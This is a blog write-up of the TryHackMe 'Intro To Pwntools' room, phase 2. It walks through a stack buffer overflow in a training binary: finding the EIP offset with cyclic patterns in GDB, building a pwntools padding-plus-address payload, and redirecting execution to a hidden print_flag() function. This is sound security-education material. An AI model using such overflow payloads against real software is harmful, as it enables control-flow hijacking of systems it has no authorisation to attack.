Intro To Pwntools- TryHackMe
Phase 2 — Finding the Exact Offset & Taking Control of EIP 🎯
“Blindly smashing the stack is fun… until you realize you have no idea where your payload actually lands.”
In Phase 1, we confirmed that the binary was vulnerable to a stack buffer overflow. We also managed to overwrite the program and make it crash.
But crashing a program isn’t exploitation.
Real exploitation starts when you know exactly which bytes overwrite the saved return address (EIP).
This phase is all about turning random crashes into precise control.
🎯 Objective
By the end of this phase, we wanted to:
- Generate a unique cyclic pattern
- Crash the binary
- Find the exact EIP offset
- Build a clean exploit payload
- Overwrite EIP with a value of our choice
- Redirect execution to the hidden
print_flag()function - Retrieve the flag
No guessing.
No random payloads.
Everything becomes calculated.
Understanding the Problem
Let’s quickly revisit the vulnerable function.
void start(){
char name[24];
gets(name);
}The dangerous function here is:
gets(name);Unlike modern input functions such as fgets(), gets() doesn't know the size of the buffer.
If the user enters more than 24 bytes, it simply keeps writing into memory.
That means our input doesn’t stop inside the name variable.
Instead, it starts overwriting everything located above it on the stack.
A simplified stack looks something like this:
Higher Memory
+----------------------+
| Return Address (EIP) |
+----------------------+
| Saved Base Pointer |
+----------------------+
| name[24] |
+----------------------+
Lower MemoryIf we keep typing…
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEventually those As reach the saved return address.
Once that happens…
we decide where the CPU goes next.
That’s literally the foundation of classic stack buffer overflow exploitation.
Why “AAAAAA” Isn’t Enough
A lot of beginners test overflows like this:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIf the program crashes, GDB usually shows something like:
EIP = 0x414141410x41 is the hexadecimal value for the letter A.
Cool…
But here’s the problem.
How many A’s did it take?
24?
28?
32?
36?
40?
Nobody knows.
You’re basically guessing.
And guessing is the fastest way to waste hours debugging exploits.
Enter Pwntools’ Cyclic Pattern
Pwntools solves this problem beautifully.
Instead of repeating the same character…
it generates a completely unique pattern.
Every four bytes are different.
Example:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaa...Now, if EIP gets overwritten with:
jaaathat sequence appears only once inside the pattern.
Which means Pwntools can instantly tell us the exact offset.
Pretty smart.
Step 1 — Generate the Pattern
The first command we ran was:
cyclic 100Output:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaInstead of manually copying it, we redirected it into a file.
cyclic 100 > patternThis created a file called:
patternwhich would later become our input.
Step 2 — Crash the Binary
Now we launched the program inside GDB.
gdb intro2pwn3Inside GDB:
r < patternThe binary immediately crashed.
Exactly what we wanted.
Crash Analysis
The most important part of the output was this:
Program received signal SIGSEGV, Segmentation fault.EIP 0x6161616a ('jaaa')This single line is worth more than the entire crash log.
Why?
Because it tells us the CPU tried executing:
jaaainstead of a valid instruction.
Which means…
our input reached the saved return address.
And that’s huge.
For the first time…
we control the execution flow.
Understanding the Register Output
When we looked at the registers, we saw:
EBP 0x61616169 ('iaaa')EIP 0x6161616a ('jaaa')Let’s break this down.
Buffer↓aaaa↓Saved EBP↓iaaa↓Saved Return Address↓jaaa
The pattern is literally walking through memory.
First it overwrites EBP.
Then it reaches EIP.
Exactly how a stack overflow should behave.
Step 3 — Finding the Exact Offset
Now comes my favorite Pwntools feature.
Instead of manually counting characters…
we simply asked Pwntools.
cyclic -l jaaaOutput:
36Boom.
That means:
36 bytes↓Saved Return Address
No guessing.
No counting.
No headache.
Visualizing the Offset
Think of our payload like this:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA↓36 bytes↓BBBB
Those first 36 bytes are just padding.
Get Abiaccess’s stories in your inbox
Join Medium for free to get updates from this writer.
The next 4 bytes become EIP.
Which means our exploit structure is officially:
[36 bytes padding]+[New Return Address]
That’s exactly what every classic buffer overflow exploit starts with.
Step 4 — Building Our First Payload
Now it was time to generate a proper exploit.
The script looked like this:
from pwn import *padding = cyclic(cyclic_find("jaaa"))
eip = p32(0xdeadbeef)payload = padding + eipimport sys
sys.stdout.buffer.write(payload)
Let’s understand every line.
Finding the Padding Automatically
padding = cyclic(cyclic_find("jaaa"))Instead of hardcoding:
padding = b"A"*36Pwntools calculates it automatically.
Much cleaner.
Why p32()?
This line:
p32(0xdeadbeef)converts the value into little-endian format.
Memory actually stores it as:
ef be ad deinstead of
de ad be efPwntools handles that for us.
No manual conversion needed.
A Mistake I Made 🚨
At first I wrote:
print(payload)Looks harmless…
but it completely breaks the exploit.
Python printed something like:
b'aaaa....\xef\xbe\xad\xde'Notice those extra characters?
b'
'Those aren’t part of the payload.
Python is showing a string representation instead of writing raw bytes.
That’s why the exploit failed.
The Correct Solution
Instead, I used:
sys.stdout.buffer.write(payload)Now Python writes the exact bytes.
Nothing extra.
Exactly what the binary expects.
One small line…
Huge difference.
Creating the Payload File
Once the script was fixed:
python3 pwn_cyclic.py > attackThis generated our payload file.
Before using it, I verified everything.
Inspecting the Payload
Command:
xxd attackOutput:
00000000: 6161 6161 6261 6161 6361 6161 6461 6161
00000010: 6561 6161 6661 6161 6761 6161 6861 6161
00000020: 6961 6161 efbe addeThat last part is the most important:
ef be ad deExactly what 0xdeadbeef should look like in little-endian.
Payload looked perfect.
Step 5 — Testing Inside GDB
Time to verify.
Inside GDB:
r < attackRegisters showed:
EIP 0xdeadbeefMission accomplished.
We completely controlled EIP.
At this point…
the CPU would jump anywhere we wanted.
Final Exploit
Instead of using:
0xdeadbeefwe replaced it with the address of:
print_flag()Generated the payload again.
Ran the binary.
./intro2pwn3 < attackOutput:
I run as dizmas.
Who are you?:
Getting Flag:flag{13@rning_2_p...}(Flag intentionally shortened.)
Seeing “Getting Flag:” was the confirmation that execution had successfully jumped into the hidden function.
No shellcode.
No ROP.
Just a clean control-flow hijack.
Real-World Connection 🌍
Although this room is beginner-friendly, the workflow is surprisingly close to how classic exploit development works.
A typical exploit often follows this exact sequence:
- Find the vulnerability.
- Trigger a crash.
- Determine the exact offset.
- Gain control over the instruction pointer.
- Redirect execution to your chosen code.
In older software, embedded systems, IoT devices, and legacy services, this technique was (and sometimes still is) incredibly effective.
Today, modern protections like Stack Canaries, NX, ASLR, and PIE make this much harder — but understanding the fundamentals is still essential.
Commands Used
Generate a cyclic pattern
cyclic 100Save the pattern
cyclic 100 > patternOpen the binary in GDB
gdb intro2pwn3Run the binary with our pattern
r < patternFind the exact offset
cyclic -l jaaaOutput
36Generate the exploit payload
python3 pwn_cyclic.py > attackVerify the payload
xxd attackTest the exploit
./intro2pwn3 < attackThings I Learned 💡
- A crash is just the beginning — real exploitation starts when you understand why it crashed.
cyclicremoves the guesswork from finding offsets.cyclic -lis one of the most useful Pwntools commands for exploit development.EIP = 0xdeadbeefis the classic proof that you've taken control of execution.p32()automatically handles little-endian conversion.print(payload)can silently break binary exploits because it prints a Python representation instead of raw bytes.sys.stdout.buffer.write()is the correct way to write binary payloads.- Always inspect your payload with
xxdbefore testing—it can save a lot of debugging time.
⭐ Phase 2 Summary
This phase was the turning point of the room.
In Phase 1, we proved that the binary could crash.
In Phase 2, we transformed that crash into full control over the program’s execution flow. By using Pwntools’ cyclic patterns, we precisely identified the offset to EIP, crafted a reliable payload, and redirected execution into the hidden print_flag() function.
For the first time in this room, we weren’t just overflowing a buffer — we were telling the CPU exactly where to go next. That’s the moment when a simple crash becomes a real exploit.


![[IronHold] — Spring Boot Source Code Analysis: Finding Credentials, SQL Injection, PrivEsc, and…](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2yaTo73YRGo1GknAUJNfPg.jpeg)



